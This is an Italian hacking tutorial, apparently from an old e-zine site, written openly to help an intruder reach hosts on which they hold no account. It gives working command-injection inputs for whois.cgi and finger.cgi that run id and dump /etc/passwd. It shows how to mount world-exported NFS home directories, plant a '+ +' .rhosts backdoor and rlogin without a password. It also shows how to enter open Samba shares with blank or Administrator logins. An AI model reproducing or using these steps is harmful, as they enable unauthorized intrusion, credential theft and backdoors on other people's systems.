![]() ---[ i N D i C E ]--- 0x01.0 iNTR0 0x01.1 WH0iS.CGi 0x01.2 FiNGER.CGi 0x01.3 NETW0RK FiLE SYSTEM 0x01.4 NETBi0S & LiNUX: SAMBA HACKING 0x01.5 C0NCLUSi0NE 0x01.6 F0NTi 0x01.0 i N T R 0 ================ Sembra che l'unico modo semplice per poter eseguire comandi su di un host da remoto sia l'utilizzo del celebre phf, ormai introvabile. Ebbene, non è così. Esistono altri bug, sia antichi, sia recenti, che permettono di ottenere lo stesso risultato. Il presente documento mostra alcuni metodi che consentono di eseguire comandi da remoto, o comunque permettono all'intrusore di accedere a un host senza avere un account su quel sistema. Questo articolo copre l'argomento dell'intrusione. Cosa fare una volta entrati, come nascondersi, come ottenere il file delle password e come crackarlo non sono argomenti trattati in questo tutorial. In ogni caso, l'autore non si assume nessuna responsabilità sull'uso che verrà fatto delle informazioni contenute in questo documento. 0x01.1 WHOIS.CGI ================ Il whois.cgi e' uno script che permette di verificare online l'esistenza di un dominio. Per esempio, se vogliamo ottenere informazioni su di un determinato dominio, basta immettere il nome del dominio nello spazio apposito e premere "Invio", e otteniamo una serie di informazioni sul dominio specificato. Ebbene, la versione 1.0 dello script che effettua questa operazione contiene un bug: se al posto del nome del dominio, inseriamo un comando Unix preceduto da ";" lo script lo esegue e ci resituisce l'output sul browser! Per esempio, se noi mettiamo ;id otteniamo come risposta qualcosa del tipo: uid=501(tritemius) gid=500(users) come se avessimo eseguito il comando id da una shell. Con ;cat < /etc/passwd otterremo la lista del file delle password (che probabilmente sarà shadowed). Esistono varianti di questo bug: in alcuni casi, invece di usare semplicemente il ";" si devono mettere anche le doppie apici; oppure un ";" anche in fondo al comando. Ecco il bug nelle sue tre varianti: ;comando ";comando ;comando; Questo bug e' discretamente diffuso: l'ho visto funzionare anche su sistemi abbastanza grandi. Ho trovato solo la prima variante, e l'ho visto funzionre solo su script contrassegnati dal numero di versione 1.0. 0x01.2 FINGER.CGI ================= Finger è un programma che mostra informazioni sugli utenti di un host. Il discorso e' analogo al whois.cgi bug: ci sono siti che mettono online il finger. La pagina html richiama un cgi, appunto il finger.cgi. Se inseriamo nella text-box di input un comando Unix preceduto da "|", il comando sara' eseguito, esattamente come nel caso del whois.cgi. Esempio: |id otteniamo come risposta qualcosa del tipo: uid=501(tritemius) gid=500(users) Anche questo script è diffuso più o meno come il whois.cgi (forse un po' meno). Non ho info sul numero di versione di questo script. 0x01.3 NETW0RK FiLE SYSTEM ========================== Abbandoniamo i cgi e veniamo a un classico dell'hacking in ambiente Unix, ovvero il Network File System. Benchè si tratti di un metodo assai datato e' impressionante il numero di sistemi tuttora attaccabili con questo sistema. Unix permette di condividere directory attraverso una rete. Questo significa che un computer remoto puo' "montare" sul proprio sistema una o piu' directory del sistema locale. Il computer remoto monta la directory con il comando mount lo stesso comando utilizzato per montare floppy,cdrom,partizioni. Dopo che questa operazione è stata eseguita il sistema remoto puo' accedere alla directory condivisa come se questa fosse in locale, come se facesse parte dello stesso hard-disk; l'utente accede a questa directory come accede a tutte le altre, con i comandi classici (cd,mv,cp,rm...). Tutto il meccanismo è completamente trasparente all'utente. Per controllare se un sistema condivide directory attraverso NFS, basta eseguire showmount -e nomehost Se esistono directory condivise queste verranno listate: /home host1 host2 host3 /usr host1 Questo esempio mostra quello che puo' risultare dall'esecuzione del comando showmount, ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli host che possono accedere a queste risorse. Come si intuisce, queste directory possono essere montate solo dai sistemi elencati (host1,host2,host3). Ma se al posto di host1,host2,host3 ci fosse stato everyone, allora le due directory sarebbero state leggibili da chiunque... Per sempio: showmount -e www.pippo.com /home everyone /home1 everyone /home2 everyone L'host www.pippo.com esporta 3 directory; queste directory possono essere montate da qualsiasi sistema!!! Quindi eseguiamo mount www.pippo.com:/home /mnt A questo punto nella directory mnt del nostro sistema troveremo il contenuto della directory home dell'host www.pippo.com! Con cd mnt ls avremo la lista della directory home /joe /john /mike Ora basta entrare nella direcotry di un utente (es.: cd joe),inserire la piu' classica delle backdoor: echo '+ +' >> .rhosts ed eseguire un login remoto rlogin -l joe www.pippo.com per avere una shell senza richiesta di password. Questo metodo funziona ancora. In Oriente si trovano molti sistemi con questo tipo di problema. 0x01.4 NETBi0S & LiNUX: SAMBA HACKiNG ===================================== Molti avranno gia' sperimentato il netbios hacking da Windows utilizzando nbtstat. Qui viene illustrato come la stessa tecnica puo' essere utilizzata anche con Linux; si deve sapere inoltre che la condivisione di risorse tramite netbios (la famosa porta 139) non e' una caratteristica dei sistemi Microsoft: anche Unix permette lo stesso tipo di servizio tramite Samba server. Per accedere ai servizi netbios sotto Linux occorre il Samba client (smbclient), che molto probabilmente troverete nella vostra distribuzione. Eseguendo smbclient senza argomenti viene mostrata la lista delle opzioni: Usage: smbclient service Version 1.9.17p4 -p port listen on the specified port -d debuglevel set the debuglevel -l log basename. Basename for log/debug files -n netbios name. Use this name as my netbios name -N don't ask for a password -P connect to service as a printer -M host send a winpopup message to the host -m max protocol set the max protocol level -L host get a list of shares available on a host -I dest IP use this IP to connect to -E write messages to stderr instead of stdout -U username set the network username -W workgroup set the workgroup name -c command string execute semicolon separated commands -T A noi interessa l'opzione -L smbclient -L "nome_host_dns" (per nome_host_dns si intende il nome dell'host tipo www.pippo.com) Questo comando mostra le eventuali risorse che il sistema remoto mette a disposizione:
Added interface ip=192.168.0.2 bcast=192.168.0.255
nmask=255.255.255.0
Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba 1.9.17p4)
X Disk "Directory condivisa"
This machine has a browse list:
Server Comment
--------- -------
VITTIMA Samba 1.9.17p4
This machine has a workgroup list:
Workgroup Master
--------- -------
OTHERGROUP OTHER
WORKGROUP VITTIMA
Ora possiamo accedere. Come ? Ancora con smbclient. Vediamo: smbclient VITTIMAX -I ip_vittima Dove ip_vittima e' l'ip che avrete ottenuto con il lookup del nome_host_dns. Talvolta appare la richiesta di una password: normalmente basta battere invio per ottenere l'accesso; se questo non dovesse funzionare, si puo' tentare di entrare specificando l'account con l'opzione -U smbclient VITTIMAX -I ip_vittima -U Administrator battendo sempre invio all'eventuale richiesta di password. Una volta entrati vi troverete di fronte a un prompt del tipo smb> e potrete interagire con il server piu' o meno come si farebbe con ftp. Con ? si ottiene la lista dei comandi: smb: > ? ls dir lcd cd pwd get mget put mput rename more mask del rm mkdir md rmdir rd pq prompt recurse translate lowercase print printmode queue qinfo cancel quit q exit newer archive tar blocksize tarmode setmode help ? !
© GnomixLand http://www.gnomixland.com/ |